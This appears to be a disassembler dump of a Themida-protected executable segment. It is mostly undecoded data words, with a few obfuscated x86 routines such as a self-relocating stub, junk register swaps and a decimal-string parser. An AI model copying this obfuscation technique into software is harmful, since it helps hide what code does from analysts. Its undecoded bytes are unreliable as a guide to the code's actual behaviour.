81DA815Ah dd 0FF41F808h, 5BDBE8D1h, 6AFA72h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 1BA175C3h, 4AA3EFE3h dd 0D88BBF27h, 2809BD89h, 206A05E9h, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 17h, 0FEC35747h, 807E3B7Bh, 0FF6AEEF3h dd 31E1BD01h, 95FF05E9h, 5E92675h, 119D8Bh, 0B805E9h, 66000000h dd 121CDA81h, 840FC00Bh, 32h, 88C0Fh, 89520000h, 0E92A89B5h dd 0BD835A05h, 5E90AA1h, 17840F00h, 0F000000h, 95FFDABFh dd 5E90B1Dh, 88A0Fh, 870F0000h, 2, 858B6160h, 5E93055h dd 746CBA66h, 0E90000C6h, 0Dh, 8B917B3Ch, 1FBFCD4Eh, 5BB1BF1Fh dd 3AF680F8h, 19858958h, 6605E908h dd 6AD98Ch, 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h dd 52420000h, 1207C2C3h, 75E4E908h, 13E9DA4Bh, 0A5000000h dd 0BD7DED20h, 3C0D9F26h, 0BAA0FAEEh, 0F8E0B00Ah, 0C1F65FC2h dd 7F840F04h, 89000000h, 0E90E7DBDh, 74E905h, 6A0000h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h dd 6C7A8BC3h, 8B350F7Fh, 0E91D19B5h, 0DE905h, 7C260000h dd 5C64ACA0h, 0DFB9962Bh, 81BE4C9Fh, 1180C6h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1D04h, 0C3504000h dd 0DFAF9E9Ah, 0C57325F5h, 8B6635EFh, 4DD5BADAh, 6C709B4h dd 0 dd 8B5ED68Bh, 0E90B219Dh, 0F88305h, 0BBF840Fh, 6A0000h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h, 51410000h dd 0AF12CCC3h, 15E8AA3h, 0E931A9B5h, 1F88305h, 18D850Fh dd 6A0000h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0A2CCB9C3h, 0E71D2278h, 219D8BDEh, 0B805E92Eh dd 0 dd 33199D8Bh, 958905E9h, 5E9102Dh, 840FC00Bh, 0C5h, 32B1D281h dd 0F8833B34h, 0E8840F01h, 0B7000000h, 0AC8BB79h, 0F8835B40h dd 6D840F03h, 0E9000000h, 9, 0C6054A49h, 30697E11h, 0B8C7h dd 98B30000h, 7974BD8Dh, 6A005Bh, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 0F67ACC3h, 281h, 0FF5BB700h dd 53006AE7h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1704h dd 0C3534300h, 4D94F02Dh, 0D99958Bh, 958B05E9h, 5E924DDh dd 1B8h, 0C9DB8000h, 7974BD8Dh, 6A005Bh, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 150424h, 51410000h, 0FCAEE8C3h dd 19CD9D09h, 0E7FF05E9h, 0F5C260BBh, 68BD8D6Ah, 6A05E944h dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h dd 47000000h, 2C83C357h, 0BF4346Eh, 0E926B195h, 281E905h dd 0C7F90000h, 0E94E3785h, 505h, 50006A00h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1504h, 0C3504000h, 0FE97DCAh dd 0CA000000h, 5087D206h, 43440580h, 0A700564h, 8D8962FEh dd 5E90915h, 5B8h, 0D9B70F00h, 91FE9h, 0B1952900h, 8305E90Dh dd 850F02F8h, 0F2h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 14h, 50C35545h, 0B8F78Ah, 0F000000h, 38Ah dd 0D98B6600h, 840FC00Bh, 9Ah, 31098589h, 0F88305E9h, 60840F01h dd 0E8FFFFFFh, 5, 0C1860D99h, 835BF5BAh, 840F03F8h db 0E0h, 0FEh word_544F42 dw 0FFFFh ; DATA XREF: ___:off_435718o dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 2BC35040h dd 1AE22958h, 0C02B73D2h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0D5C35242h, 0D8DD1330h, 7974BD8Dh, 0D68B005Bh dd 6AE7FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1B0424h dd 55450000h, 0DDCBC3h, 2BC1F979h, 154DBA05h, 0BD8D79B1h dd 5E94660h, 0FF93BB50h, 0E95B1D49h, 143h, 2F7D9D89h, 820F05E9h dd 6, 56D08B60h, 0F8836159h, 4D850F03h, 8B000000h, 0E9258195h dd 0F4BD8D05h, 8905E947h, 0E90215BDh, 111E905h, 6A0000h dd 3E856h dword_545004 dd 5E200000h, 74895EC3h, 44810424h, 140424h, 56460000h ; DATA XREF: Themida_:005545C6o dd 0F8563FC3h, 12E95Ah, 72370000h, 5CDB7EF3h, 0BF401B70h dd 800A2AA8h, 1455F37Fh, 0F05F883h, 1185h, 84DF8000h, 0E916CA80h dd 7B4h, 10559529h, 0F88305E9h, 57850F06h, 89000000h, 0E92B5DB5h dd 0ECBD8D05h, 6605E949h, 0A4E9DA8Bh, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 4EA4C356h, 0E43BA990h, 0BB662D6Fh, 0EE883A3h, 0C6000000h dd 0F2D1492Dh, 9E04834Ch, 0AE9DD091h, 0CB815052h, 7EFA1058h dd 0F8835B5Bh, 24850F07h, 8B000000h, 0E9177D9Dh, 0A5958905h dd 8D05E900h, 0E913D9BDh, 81666005h, 61FE1AC9h, 0B7E9h dd 0C9958B00h, 8305E917h, 850F0AF8h, 2Bh, 0ACB1B5BAh, 0E4BD8D00h dd 0E805E94Bh, 0Ah, 0D19AD28Bh, 0FEACD2BDh, 0D18BAAACh dd 7CB805Ah, 6E9h, 299D8B00h, 5705E907h, 655950Bh, 94B905E9h dd 801CAB46h, 3F83DDF3h, 43840F00h, 0E9000000h, 0Ah, 5428CBD4h dd 0DD2FA3C2h, 0F30759Ch, 32A5952Bh, 0C9D105E9h, 0F3816647h dd 0D3E9964Ch, 6AFFFFFFh, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 17042444h, 47000000h, 0C885C357h, 6A5F471Ch dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 19042444h dd 47000000h, 1AC8C357h, 31C79AA0h, 4DE0BD89h, 958B05E9h dd 5E930E5h, 11758D8Dh, 8B6605E9h, 61B5FFD7h, 0B205E917h dd 97858DD4h, 5005EBAAh, 5529BD8Dh, 8D8D05E9h, 5E96FF6h dd 831ABCB8h, 30CF2B54h, 47C8D007h, 8DF87549h, 0E96F9DB5h dd 0E8D8D05h, 2B05E970h, 33A4F3CFh, 0B8C9h, 0C00B0000h dd 0BD834674h, 5E90AA1h, 0FF067400h, 0E90B1D95h, 0E0B58B05h dd 8D05E94Dh, 0EBAA9785h, 8DD0FF05h, 0E9424685h, 0C7D0FF05h dd 0E9035D85h, 105h, 31A58B00h, 8B05E92Ah, 0E90281B5h dd 91AD8B05h, 3305E912h, 0CC2C0h, 4396CA81h, 0C68066B8h dd 0A9BD8365h, 5E910h, 58840Fh, 6A0000h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 190424h, 56460000h, 3D4EDC3h dd 0FAB009Fh, 1980h, 14E900h, 0E6E60000h, 8ABBF8CFh, 0B4037BE6h dd 71AE3ADAh, 2114CEB3h, 8D8911BAh, 5E90AE9h, 2ACD9D2Bh dd 95FF05E9h, 5E90CC1h, 32159D8Bh, 0BD8305E9h, 5E93095h dd 0E1850F00h, 8B000001h, 0BD83F5DFh, 5E901BDh, 0D1850F01h dd 0E9000001h, 0Fh, 6EE57C01h, 0A1DB29D3h, 0AD9D4901h dd 830BA900h, 0E9066DBDh, 840F0005h, 1B0h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 50C35545h, 886AC965h dd 4E33BD83h, 0F0005E9h, 18384h, 0DA816600h, 858DD38Bh dd 5EBAA97h, 0F29958Bh, 0B58B05E9h, 5E94DE0h, 0B219589h dd 0D0FF05E9h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Bh, 0A0C35141h, 0D4781477h, 0C60D516Ch, 0E90EE585h dd 80605405h dword_545350 dd 8C0F33C8h, 0 ; DATA XREF: ___:off_43CCB4o dd 4E861h, 0BEF40000h, 830FFF4Eh, 4, 2F7BBA66h, 0EE950h dd 85F80000h, 2B3F97FDh, 223265ABh, 0A4B08EDFh, 424448Bh dd 0EE8008Bh, 0B000000h, 14E851A1h, 176FEE2Bh, 9FE96530h dd 5A82B3D6h, 4244489h, 6E860h, 12190000h, 0D667FCFAh dd 0E50BE8B9h, 0DA8B5F67h, 6A5861h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 180424h, 52420000h, 45C2EEC3h dd 0B5FFE396h, 5E92345h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 1Bh, 66C35040h, 95DC24C4h, 8D22188Fh, 0E939CF85h dd 9E905h, 0D5AF0000h, 0DAEE5CB9h, 0FFB9E89Ch, 6FD380D0h dd 9D8B006Ah, 5E90639h, 0AFF40CBAh, 81FF6A43h, 90486DC2h dd 0E8D0FF48h, 0Ch, 3AC00ECDh, 5044F47Ch, 992BC527h, 236D8589h dd 0FF5B05E9h, 0E9316DB5h, 0DA8B5305h, 1995315Ah, 0FF05E909h dd 0E9176195h, 53006A05h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1504h, 0C3534300h, 1606B1Ah, 0E93099BDh dd 85BD2905h, 6105E916h, 4DE0B58Bh, 9D8B05E9h, 5E92AD5h dd 6800FC3h, 89000000h, 0E927758Dh, 55B58B05h, 0E905E930h dd 6, 3967F5B1h, 0F60B64ADh, 15840Fh, 9D8B0000h, 5E923C9h dd 0F0006C6h, 68Ah, 65958B00h, 8905E92Fh, 0E94DE885h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1904h, 0C3524200h dd 0ACEDE973h, 0B70FA483h, 0F883D9h, 3E3840Fh, 958B0000h dd 5E92EE5h, 0B8h, 0F606000h, 0E9B4F1BFh, 5AF95161h, 0F88361h dd 0C6840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 1C0424h, 53430000h, 968648C3h, 0D4AB2CEEh, 81669131h dd 830573F3h, 850F02F8h, 87h, 8D83CA80h, 0E9446385h, 0BF0F6005h dd 99958BF0h, 6105E925h, 9292Dh, 5E900h, 0ACDF0000h, 90E29F95h dd 310F5250h, 585AD98Bh, 9077B350h, 13E8h, 0D2B0900h, 29596F10h dd 0B3192051h, 0B6ECD9D6h, 5007F0h, 23759589h, 0C35B05E9h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 1AC35343h dd 82D79BAFh, 0F44E66Dh, 0E84h, 858B6000h, 5E92D31h, 2BB58D89h dd 0B86105E9h, 0 dd 0FEE9D08Bh, 0FC000002h, 1B8h, 29F96000h, 0E906A58Dh dd 0BD8D6105h, 5E94468h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Bh, 82C35545h, 255AF681h, 8B190822h, 0E918619Dh dd 71BD8905h, 0E905E917h, 11Fh, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 19h, 0ADC35343h, 36AEF9BCh, 0D38166A3h dd 0F883454Bh, 7D850F02h, 0E9000000h, 5, 2E00FC6Dh, 958B5328h dd 5E91641h, 60BD8D5Ah, 6A05E946h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 1D042444h, 47000000h, 0CF3FC357h dd 2182C3BBh, 413ACF58h, 0E15B589h, 0A8E905E9h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1B042444h dd 42000000h, 3301C352h, 0E543D388h, 8589528Bh, 5E904B5h dd 6880Fh, 0C3810000h, 23CD52F9h, 0F03F883h, 4685h, 12C2BB00h dd 0BB666030h, 0BD8DC93Dh, 5E947F4h, 0E98DC780h, 53h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 0EC35343h, 0C99D89D4h dd 8905E90Bh, 0E903A9BDh, 0C1BD8905h, 8305E932h, 850F05F8h dd 1Bh, 2FD59D33h, 810F05E9h, 6, 1DFD8589h, 0B1E905E9h dd 66000000h, 579A9ABAh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 6AC35242h, 5ED03CCFh, 0DED9D8Bh, 94B905E9h dd 2B1CAB46h, 0E9303D9Dh, 3F8305h, 72840Fh, 0E3810000h dd 4483EE16h, 810F0F30h, 0Fh, 8E956h, 989A0000h, 7637A179h dd 0D15B43B2h, 57006AC9h, 3E8h, 0C35F2000h, 247C895Fh dd 24448104h, 1904h, 0C3574700h, 7DB32EADh, 6A4766D3h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h dd 43000000h, 0D47CC353h, 9DB58950h, 8B05E912h, 0FF8BE9D7h dd 0C381FFFFh, 58A905B0h, 0F05F883h, 0E085h, 58B0F00h dd 0BA000000h, 78B2B9EBh, 6AD98C66h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 16042444h, 46000000h, 402BC356h dd 2EDE80AFh, 0F04C1F6h, 7785h, 52006A00h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 940550F2h dd 0B8h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1B04h, 0C3504000h, 0C2B3C5FFh, 36615198h, 175D958Bh dd 56E905E9h, 6A000000h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 17042444h, 45000000h, 1A50C355h, 9D8BF998h dd 5E91981h, 1D89858Bh, 0BA6605E9h, 0E0FFC826h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0A2C35646h, 958B571Fh dd 5E92545h, 61BD835Bh, 5E917h, 0B8850Fh, 0F2810000h, 67498C81h dd 17BB6650h, 24048959h, 0D6BF0F51h, 0E585C65Bh, 4505E90Eh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 14h, 0E1C35040h dd 28B0Fh, 0E5B30000h, 0F8ACEC68h, 11E988h, 5C060000h dd 38CB444Dh, 0F0C21B7Ah, 7D309FB3h, 81E18B82h, 0C5852434h dd 9589068Ah, 5E92B25h, 2345B5FFh, 0E5B705E9h, 39CF858Dh dd 6A05E9h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h dd 57470000h, 0FF0CE7C3h, 5E8BCh, 84FD0000h, 8B14A692h dd 0D0FF5AD1h, 8589D18Ah, 5E91761h, 890F58F9h, 6, 1FD9D8Bh dd 0BD8305E9h, 5E94E37h, 22840F00h, 0FC000000h, 2769958Bh dd 0B5FF05E9h, 5E9316Dh, 6195FFF5h, 0E905E917h, 9, 0E2377D6Fh dd 38AD8528h, 0F8837Ch, 121850Fh, 0EE80000h, 98000000h dd 623A265Eh, 5F17B47Eh, 5DC8CC9Fh, 659D8BBEh, 5A05E91Fh dd 2681BD83h, 0F0005E9h, 7084h, 0E3816600h, 0B5FF55E1h dd 5E92681h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 1Ch, 0A6C35040h, 57A1198Eh, 50F8EEAAh, 0F005C381h, 958B30E0h dd 5E91621h, 1B8h, 56006A00h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1804h, 0C3564600h, 24B5D41Fh, 69958B2Fh dd 0E905E900h, 282h, 0E3F38166h, 6DB5FFE4h, 6605E931h dd 7C99D381h, 316DB5FFh, 6A05E9h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 1C0424h, 55450000h, 4A25B2C3h, 0ECC27F09h dd 9D8B8171h, 5E93185h, 1761B5FFh, 6A05E9h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 411CC2C3h dd 89952927h, 0E905E924h, 212h, 233D8D09h, 14E905E9h, 95000000h dd 316951D0h, 659FCEECh, 0CB82BFEh, 0D1840DEh, 5F2B530Fh dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ah, 0F7C35040h dd 7DA71181h, 0FE8B13Fh, 85000000h, 0D66222C7h, 8E99B38Ah dd 0E7900C0Ah, 0DAB6F7DBh, 0A5BD835Bh, 5E91Dh, 0B6850Fh dd 0DA8B0000h, 0EE585C6h, 0F4D05E9h, 68Dh, 0E5B52900h dd 6805E91Eh, 33EF27C9h, 0FE9h, 0A9C33800h, 7C3F52A4h dd 9FBB0B8Bh, 30526748h, 0DF240481h, 6A70464Eh, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h dd 0FFB5C356h, 1F1D9D23h, 79BA05E9h, 0FF6CB59Bh, 0E90039B5h dd 85958B05h, 0F05E932h, 280h, 8DF38A00h, 0E939CF85h, 56006A05h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h, 0C3564600h dd 0FD0FF2Fh, 138Ah, 7E800h, 0DA640000h, 480086CAh, 59589FEh dd 5B05E91Eh, 1DA58589h, 0D98B05E9h, 0B8h, 0C1952300h dd 8905E90Bh, 0E94DE0BDh, 52006A05h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1904h, 0C3524200h, 0DF48E7A7h dd 8166BB54h, 0B8033E3h, 71840FC0h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 7BDBC357h, 973AFD26h, 0EE8h, 0AB1BE900h, 5C8031B5h dd 0ABA0D127h, 3346DA38h, 0E926FD95h, 77E95A05h, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 18042444h dd 42000000h, 0AF3CC352h, 8B7AD82Dh, 0E90BAD95h, 58C0F05h dd 0BB000000h, 4D190147h, 1761B5FFh, 0B52905E9h, 5E92835h dd 26D99523h, 858D05E9h, 5EBAA97h, 4E9ECB81h, 8B9050BFh dd 6A9050D3h, 3E85100h, 20000000h, 8959C359h, 8104244Ch dd 1B042444h, 41000000h, 4540C351h, 94E482ECh, 565038C1h dd 5529BD8Dh, 8D8D05E9h, 5E97B3Eh, 8323BCB8h, 30CF2B74h dd 47C8D007h, 5EF87549h, 81BD8358h, 5E926h, 8D8B0674h dd 5E907B9h, 0B8C933h, 0B000000h, 99840FC0h, 83000000h dd 0E90AA1BDh, 6740005h, 0B1D95FFh, 0B805E9h, 0B000000h dd 830975C0h, 0E94DE8BDh, 9740105h, 4DE8BD83h, 750205E9h dd 0E0B58B0Eh, 8D05E94Dh, 0EBAA9785h, 8DD0FF05h, 0E9424685h dd 83D0FF05h, 0E92C01BDh, 2F750205h, 2A31A58Bh, 858B05E9h dd 5E92681h, 0C7240489h, 0E9035D85h, 105h, 0E4B58B00h dd 8B05E94Dh, 0E91291ADh, 1B805h, 0CC20000h, 0C700EB00h dd 0E9035D85h, 105h, 31A58B00h, 8B05E92Ah, 0E90281B5h dd 91AD8B05h, 3305E912h, 0CC2C0h, 10A9BD83h, 740005E9h dd 0C1BD830Fh, 5E90Ch, 95FF0674h dd 5E90CC1h, 4DE0B58Bh, 66C305E9h, 6AD78Bh, 3E850h, 58200000h dd 448958C3h, 44810424h, 160424h, 50400000h, 62BA48C3h dd 7C59D03h, 816605E9h, 2B6D09E2h, 53006AD2h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1A04h, 0C3534300h, 0CA8D2A7Dh dd 668B72BFh db 0BBh, 9Dh, 27h ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push edi push edx push esi mov edi, [ebp+8] xor eax, eax jmp short loc_545E4F ; --------------------------------------------------------------------------- loc_545E4D: ; CODE XREF: Themida_:00545E52j inc eax inc edi loc_545E4F: ; CODE XREF: Themida_:00545E4Bj cmp byte ptr [edi], 0 jnz short loc_545E4D xor ecx, ecx mov edi, [ebp+8] jmp short loc_545E7E ; --------------------------------------------------------------------------- loc_545E5B: ; CODE XREF: Themida_:00545E80j xor edx, edx mov dl, [edi] sub dl, 30h mov esi, eax dec esi push eax mov eax, edx push ebx mov ebx, 0Ah jmp short loc_545E73 ; --------------------------------------------------------------------------- loc_545E70: ; CODE XREF: Themida_:00545E76j mul ebx dec esi loc_545E73: ; CODE XREF: Themida_:00545E6Ej cmp esi, 0 ja short loc_545E70 pop ebx add ecx, eax pop eax inc edi dec eax loc_545E7E: ; CODE XREF: Themida_:00545E59j or eax, eax jnz short loc_545E5B mov eax, ecx pop esi pop edx pop edi pop ecx leave retn 4 ; --------------------------------------------------------------------------- dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 19h, 8AC35040h dd 7B110D12h, 42BA6654h, 6A0EB736h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1B042444h, 46000000h, 583C356h dd 0C2BE0325h, 9589D975h, 5E90445h, 0DBE9C18Bh, 68000222h dd 12FFh, 0 dd 3F005AF5h, 25900h, 0E005AF5h, 28005AF0h, 46025900h dd 2000002h, 1000000h, 4000000h, 0CD000000h, 0FA6AE1h dd 4 dup(0) dd 0FC000000h, 51005507h, 0AF0054E6h, 800549Ch, 50005465h dd 8000546Ch, 0C20054DEh, 340054FCh, 0F5005525h, 0C80054B9h dd 77005466h, 0C80054CEh, 0EA0054F3h, 9900546Eh, 670054C6h dd 0DD00549Fh, 0B80054A0h, 0B0005482h, 0C0054D8h, 59005474h dd 930054D4h, 45005482h, 7F0054BEh, 0A20054B2h, 540054E0h dd 0F30054A0h, 0A70054E5h, 0C0005512h, 0DC0054C7h, 0A0054A7h dd 130054DFh, 0F00548Eh, 60005471h, 420054CAh, 1B0054F2h dd 0D0005474h, 0E9005486h, 0BE0054F3h, 0FE0054ADh, 0AC005483h dd 64005528h, 9A0054F8h, 0CC00550Eh, 0E005467h, 0EB0054B7h dd 2E00550Fh, 230054BCh, 0C50054E6h, 50005520h, 91005497h dd 280054C8h, 2B005468h, 360054B1h, 24005472h, 0EF0054F3h dd 410054F0h, 0FE0054B3h, 45005508h, 65005520h, 0C1005493h dd 5B00547Dh, 0E10054C9h, 7700550Eh, 9B0054A2h, 480054C8h dd 0B60054B7h, 4E0054F6h, 730054A5h, 6E0054A9h, 5F005489h dd 400054C0h, 780054C1h, 6C0054AEh, 0D80054AFh, 0B5005486h dd 0C700549Ah, 0C70054ADh, 530054C4h, 0FD0054C9h, 0C0054B3h dd 1C0054CDh, 74005499h, 790054E2h, 0C3005482h, 0E20054BAh dd 860054F1h, 8F0054F2h, 0DE0054F2h, 9100551Bh, 520054B4h dd 0F30054F1h, 7A005513h, 0FC0054DDh, 600548Dh, 8005512h dd 7005525h, 6A0054D7h, 0CB0054A5h, 8E0054B3h, 97005478h dd 0A2005484h, 0B80054EEh, 5A0054D6h, 0EA005516h, 4A00546Ah dd 0A10054A7h, 0FB0054ECh, 0A9005485h, 0E90054F1h, 8A0054B5h dd 930054D5h, 180054D0h, 6B00551Bh, 850054DBh, 1A0054BDh dd 540054A3h, 0A4005515h, 3B0054E7h, 71005476h, 620054ACh dd 4A0054ADh, 7F00546Dh, 0E1005512h, 880054A8h, 0E2005507h dd 330054EAh, 14005498h, 0A90054D7h, 3F00550Ch, 65005511h dd 0AE005520h, 54E3h, 0D90054F0h, 0AB00547Ah, 0E50054E9h dd 0B7005504h, 0DC0054E3h, 88005507h, 0C100549Ch, 0D3005489h dd 0B300546Fh, 1F00547Eh, 0DD005525h, 5A005520h, 1E005512h dd 0A30054E3h, 11005488h, 0DD005513h, 0AE00547Bh, 800054FBh dd 0B500549Bh, 42005526h, 760054A0h, 0D9005489h, 3000546Ah dd 0F900551Ch, 6F0054D2h, 16005494h, 0D10054EAh, 250054CBh dd 0B20054EAh, 0C8005509h, 32005500h, 2600547Fh, 2F0054B2h dd 830054FAh, 0C30054E4h db 0E3h, 54h, 0 ; --------------------------------------------------------------------------- loc_5461C3: ; CODE XREF: Themida_:005756CCj ; Themida_:00594DD2j ... pusha pushf cld call $+5 pop edi sub edi, 5E97FFEh mov eax, edi add edi, 5E97D16h cmp eax, [edi+2Ch] jnz short loc_5461E1 jmp short loc_5461F4 ; --------------------------------------------------------------------------- loc_5461E1: ; CODE XREF: Themida_:005461DDj mov [edi+2Ch], eax mov ecx, 0A7h jmp short loc_5461F0 ; --------------------------------------------------------------------------- loc_5461EB: ; CODE XREF: Themida_:005461F2j add [edi+ecx*4+40h], eax dec ecx loc_5461F0: ; CODE XREF: Themida_:005461E9j or ecx, ecx jnz short loc_5461EB loc_5461F4: ; CODE XREF: Themida_:005461DFj mov esi, [esp+24h] mov ebx, esi add esi, eax mov ecx, 1 loc_546201: ; CODE XREF: Themida_:00546208j xor eax, eax lock cmpxchg [edi+30h], ecx jnz short loc_546201 loc_54620A: ; CODE XREF: Themida_:00546B24j ; Themida_:005485EFj ... lodsb push ecx mov cl, 5 sub cl, 0C3h sub cl, 0C0h sub al, 0FAh sub al, cl add al, 0FAh mov ecx, [esp] jmp loc_549E73 ; --------------------------------------------------------------------------- loc_546222: ; CODE XREF: Themida_:0054688Cj mov ecx, 0D5963E8h mov ebp, ecx jmp loc_54F47D ; --------------------------------------------------------------------------- dw 842Dh dd 17EB54Dh, 4DBB53F0h, 813B772Eh, 3B00DEC3h, 81D3F701h dd 0B52999CBh, 16CB8105h, 43664F22h, 51A4C381h, 60E996B5h dd 8100004Dh, 9B413EC5h, 6CC6817Fh, 29792B2Fh, 3073E9EEh dd 0B9510000h, 7BE76C17h, 6FA4E9h, 4C38100h, 81000000h dd 4C3h, 241C8700h, 0FFE0E95Ch, 0E952FFFFh, 9870h, 8759CF29h dd 0BFE9243Ch db 9Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_54629F: ; CODE XREF: Themida_:005526C8j xchg ebx, edx xchg eax, ebx xchg eax, ecx not ecx xchg eax, ecx xchg eax, ebx xchg ebx, edx xor eax, edx xor edx, eax xor eax, edx push 5EA6h mov [esp], ebp push eax push edx push edi jmp loc_549A0E ; --------------------------------------------------------------------------- db 0B9h dd 0 aIYbuSjuqsb? db ')Ù‰ËYã·S†uQé?',0 dd 24348B00h, 4C481h, 0AA680000h, 89000029h, 0BF572404h dd 4B550DADh, 0F7BE781h, 0E7C16F67h, 98E94F07h, 510000BBh dd 0F422E168h, 0C831597Ch, 53240C8Bh, 0C381E389h, 4, 4EC8351h dd 0E9243C89h, 32F5h, 0E981F901h, 5B975686h, 83243C8Bh dd 0C80104C4h, 0B7D5E959h, 68660000h, 34280000h, 24348A24h dd 5302C483h, 0C680F4B3h, 0E9DE280Dh, 0AA10h, 2414F756h dd 81F5875Eh, 0BE5E7F5h, 5DE901F2h, 50241C8Bh, 405E089h dd 83000000h, 48704C0h, 9D80E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_546372: ; CODE XREF: Themida_:0054F478j push esi mov esi, 4712107h jmp loc_5517D9 ; --------------------------------------------------------------------------- loc_54637D: ; CODE XREF: Themida_:00549F3Aj pop ecx jmp loc_54728C ; --------------------------------------------------------------------------- db 1 dd 24148BD3h, 4C481h, 0AE90000h, 1000040h, 2B4AE9FAh, 0C3810000h dd 4, 0E904C383h, 633Ah, 468h, 24E95D00h db 0AFh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5463B3: ; CODE XREF: Themida_:00546B00j pop edi add ebx, eax pop eax add ebx, 4 xchg ebx, [esp] pop esp add esp, 4 push edi sub esp, 4 mov [esp], ecx mov ecx, 5ED9410Bh mov edi, ecx pop ecx xor eax, edi pop edi push ebp push 6838h mov [esp], edx push edi mov edi, 57E16C7Ah sub edi, 50BA3F22h dec edi sub edi, 37666521h and edi, 30282E96h add edi, 252716AEh mov edx, edi pop edi jmp loc_54FB7B ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 83000000h, 3C8702C7h, 24248B24h, 8904EC83h, 81E9240Ch db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_546423: ; CODE XREF: Themida_:00552658j pop edi pop eax xor edi, 2ABA524Eh jmp loc_54F3FA ; --------------------------------------------------------------------------- aIIxqsad db '\‰,$‰åQ逤',0 align 4 dd 0CCBE5658h, 2953D22Dh, 8B042474h, 0C4832434h, 6D96E904h dd 0E95D0000h, 0A6A8h, 5E9C15Fh, 0B658E941h, 0BA520000h dd 374B6FD2h, 28BE5653h, 0E935BF15h, 315Bh, 0E904C483h dd 2A8Fh, 5307E6C0h, 0CB80C9B3h, 5EBC0CCh, 0E94DC380h dd 6591h ; --------------------------------------------------------------------------- loc_546490: ; CODE XREF: Themida_:00546A94j add ebp, 4 jmp loc_549BCC ; --------------------------------------------------------------------------- aSs db 'Sé¹',7,0 dd 1C38300h, 0AC5FC381h, 40681DF4h, 89000059h, 0BAE9243Ch dd 59000076h, 8124348Bh, 4C4h, 20500h, 28E90000h, 81000082h dd 4C4h, 3A5F300h, 0EC833862h, 24348904h, 67ACE9h, 205A6600h dd 0F28059EAh, 0EFEA804Eh, 846B753h, 241C8BFAh, 7689E9h dd 4EC8100h, 89000000h, 0E9512434h, 460Ah, 240C8B66h, 60FD68h dd 242C8900h, 0C5815D54h, 4, 471EE9h, 5EF30100h, 52E9DF01h dd 4A000092h, 2612EA81h, 81425690h, 56DA5FEAh, 5AD0296Dh dd 32BF5B05h, 58C70119h, 0BD55DFF7h, 1, 0F7E9EF29h, 68000049h dd 6AD1h, 66243489h, 521EDDBEh, 64FB6866h, 414E9h db 0 ; --------------------------------------------------------------------------- loc_546569: ; CODE XREF: Themida_:00547E9Aj add [esp+4], edx jmp loc_54F71D ; --------------------------------------------------------------------------- dw 1489h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 83242489h dd 8B042404h, 